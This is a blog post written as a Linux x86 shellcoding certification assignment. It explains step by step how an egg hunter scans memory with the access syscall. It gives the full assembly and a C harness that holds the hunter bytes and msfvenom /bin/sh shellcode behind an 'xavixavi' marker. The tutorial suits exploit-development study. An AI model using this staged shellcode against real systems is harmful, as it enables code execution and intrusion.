Shellcoding Linux x86 – Egg Hunter – Assignment 3

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

Egg hunter is a type of shell code that is basically a two stages payload. The first stage searches for a pattern that it can find in memory. This pattern indicates the start of the second stage payload that needs to be executed.

In the following link there is a lot of useful information about Egg hunting:

http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

So let’s start creating this shell code. We are going to use the system call access:

; int access(const char *pathname, int mode);

The flow that we want to create is the following:

  • 1. We read the content of a memory address
  • 2. We check if we have permissions to access to it. If not return to step 1.
  • 3. OK. We have permission. This memory access and the following one contains our EGG? If not, return to step 1.
  • 4. We found our EGG! Now jump to the second stage shell code and execute it.

Step 1:

Each page has 4096 bytes as size, what is 0x1000 in hex, but it has nulls. To avoid having this problem we are going to or DX with 0xfff what is 4095. And after, we are going to increment EDX in 1, So we added 4096 without erasing the content of EDX.

next_page: 
	or dx, 0xfff
next_address:
	inc edx 

After doing this, we are going to run the access system call.

socket@ubuntu:~/Assesments/3$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep -i access
#define __NR_access 33

Is the number 33, what in hex is 0x21.

We check the documentation and we find that the access system call needs the following parameters.

; int access(const char *pathname, int mode);

So we are going to copy EDX to EBX, and then execute the interruption.

	mov ebx, edx
	xor eax, eax
	mov al, 0x21
	int 0x80

This is the final code for this step:

next_page: 
	or dx, 0xfff

next_address:
	inc edx 
	mov ebx, edx
	xor eax, eax
	mov al, 0x21
	int 0x80

Step 2:

Now, we have to verify what returned the Access system call. If we have a 0xf2 in the EAX register it means that the SYS_ACCESS returned an EFAULT, that indicates that we don’t have permissions to access to this memory address and we need to go to the next one.

So we do a Jump Zero, if we have a match, it would jump to the function next_page.

	; Verify if SYS_ACCESS returned an EFAULT
	cmp al, 0xf2
	jz next_page

Step 3:

Right now, we now that we were able to read the memory. So we need to check if it contains our EGG that is “xavi” 2 times.

So we do a Jump Not Zero. If we don’t have a match, it would jump to the function next_address, if not, it would continue with the next instruction.

	; Verify if we found the EGG
	cmp dword [edx], 0x69766178
	jnz next_address
	cmp dword [edx + 0x4], 0x69766178
        jnz next_address

Step 4:

At this point, we already found our egg! 🙂 We only need to jump to the exact position where it starts. To do that, we have to do:

	; JMP to the shellcode
	lea edx, [edx+8]
	jmp edx 	

This is the final code of the file egg_hunter.nasm.

; Filename: egg_hunter.nasm
; Author:  Xavier Beltran
; Course: SLAE - Pentester Academy
; EGG = xavi =  0x78617669

global _start

section .text
_start:

next_page: 
	or dx, 0xfff

next_address:
	inc edx 
	mov ebx, edx
	xor eax, eax
	mov al, 0x21
	int 0x80

	; Verify if SYS_ACCESS returned an EFAULT
	cmp al, 0xf2
	jz next_page

	; Verify if we found the EGG
	cmp dword [edx], 0x69766178
	jnz next_address
	cmp dword [edx + 0x4], 0x69766178
  	jnz next_address

	; JMP to the shellcode
	lea edx, [edx+8]
	jmp edx

And this is the final code shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char egghunter[] = \
"\x66\x81\xca\xff\x0f\x42\x89\xd3\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xee\x81\x3a\x78\x61\x76\x69\x75\xeb\x81\x7a\x04\x78\x61\x76\x69\x75\xe2\x8d\x52\x08\xff\xe2";

unsigned char shellcode[] = \
"xavixavi" //EGG
"\xbd\x64\xb2\x0c\xf4\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" // msfvenom -p linux/x86/exec CMD=/bin/sh -f c -b \x00
"\x0b\x83\xc2\x04\x31\x6a\x11\x03\x6a\x11\xe2\x91\xd8\x07\xac"
"\xc0\x4f\x7e\x24\xdf\x0c\xf7\x53\x77\xfc\x74\xf4\x87\x6a\x54"
"\x66\xee\x04\x23\x85\xa2\x30\x3b\x4a\x42\xc1\x13\x28\x2b\xaf"
"\x44\xdf\xc3\x2f\xcc\x4c\x9a\xd1\x3f\xf2";


main()
{

	printf("Egghunter Length: %d\n",strlen(egghunter));
	printf("Shellcode Length: %d\n", strlen(shellcode));

	int (*ret)() = (int(*)())egghunter;

	ret();

}

As you can see the payload is easily configurable.

And here is a little screenshot of the code working!

Here is a link to my Github account where all the code is stored:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment3

This entry was posted in Exploiting and tagged , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *